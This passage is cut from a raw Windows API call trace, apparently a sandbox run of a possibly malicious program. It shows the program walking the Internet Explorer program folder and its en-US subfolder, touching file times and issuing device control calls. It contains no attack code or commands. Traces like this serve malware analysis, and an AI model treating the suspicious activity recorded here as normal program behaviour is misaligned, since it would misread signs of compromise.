(HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.451] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.451] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0245.451] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0245.451] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.451] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.451] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.451] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.451] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.451] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.451] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0245.452] GetLastError () returned 0x12 [0245.452] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd520 [0245.452] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0245.452] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9fe95fb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fe95fb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.452] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x404ee910, ftCreationTime.dwHighDateTime=0x1d57814, ftLastAccessTime.dwLowDateTime=0x4f4c03f0, ftLastAccessTime.dwHighDateTime=0x1d57fce, ftLastWriteTime.dwLowDateTime=0x4f4c03f0, ftLastWriteTime.dwHighDateTime=0x1d57fce, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="bitkinex.exe", cAlternateFileName="")) returned 1 [0245.452] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986f590, ftCreationTime.dwHighDateTime=0x1d5b98b, ftLastAccessTime.dwLowDateTime=0xd3456ab0, ftLastAccessTime.dwHighDateTime=0x1d57089, ftLastWriteTime.dwLowDateTime=0xd3456ab0, ftLastWriteTime.dwHighDateTime=0x1d57089, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="contributions.exe", cAlternateFileName="")) returned 1 [0245.452] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0245.452] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.452] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US" (normalized: "c:\\program files\\internet explorer\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.452] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US" (normalized: "c:\\program files\\internet explorer\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0245.452] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0245.452] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9424a8 [0245.452] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9424a8, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9424a8, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0245.453] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9424a8) returned 1 [0245.453] NtClose (Handle=0x1b4) returned 0x0 [0245.453] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.453] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.453] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0245.453] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0245.453] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0245.455] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.455] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0245.455] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.455] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.455] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.455] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.455] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.455] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934cd0 [0245.455] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0245.455] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.455] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1 [0245.455] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.455] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.455] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.455] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.455] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.455] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934cf0 [0245.455] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0245.455] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.455] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0245.455] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.455] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.456] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934d10 [0245.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926488 [0245.456] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.456] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1 [0245.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.456] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.456] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934d30 [0245.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926510 [0245.456] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.456] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe647cb96, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe647cb96, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xe45e4000, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0245.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.456] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.456] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934d50 [0245.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0245.456] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.456] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1 [0245.457] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.457] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.457] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.457] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.457] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.457] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934d70 [0245.457] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ae8 [0245.457] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.457] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1 [0245.457] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.457] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.457] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.457] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.457] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.457] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934d90 [0245.457] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.457] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.457] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll.mui", cAlternateFileName="")) returned 1 [0245.457] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.457] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.457] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.457] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.457] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.457] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934db0 [0245.457] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.458] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xfc0) returned 0x9424a8 [0245.458] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9351d8) returned 1 [0245.458] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.458] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 1 [0245.458] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.458] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.458] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.458] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.458] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0245.458] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934dd0 [0245.458] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.458] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0245.458] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 0 [0245.458] GetLastError () returned 0x12 [0245.458] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd620 [0245.458] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0245.458] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.458] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0245.458] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1 [0245.459] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0245.459] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1 [0245.459] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe647cb96, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe647cb96, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xe45e4000, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0245.459] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1 [0245.459] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1 [0245.459] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, 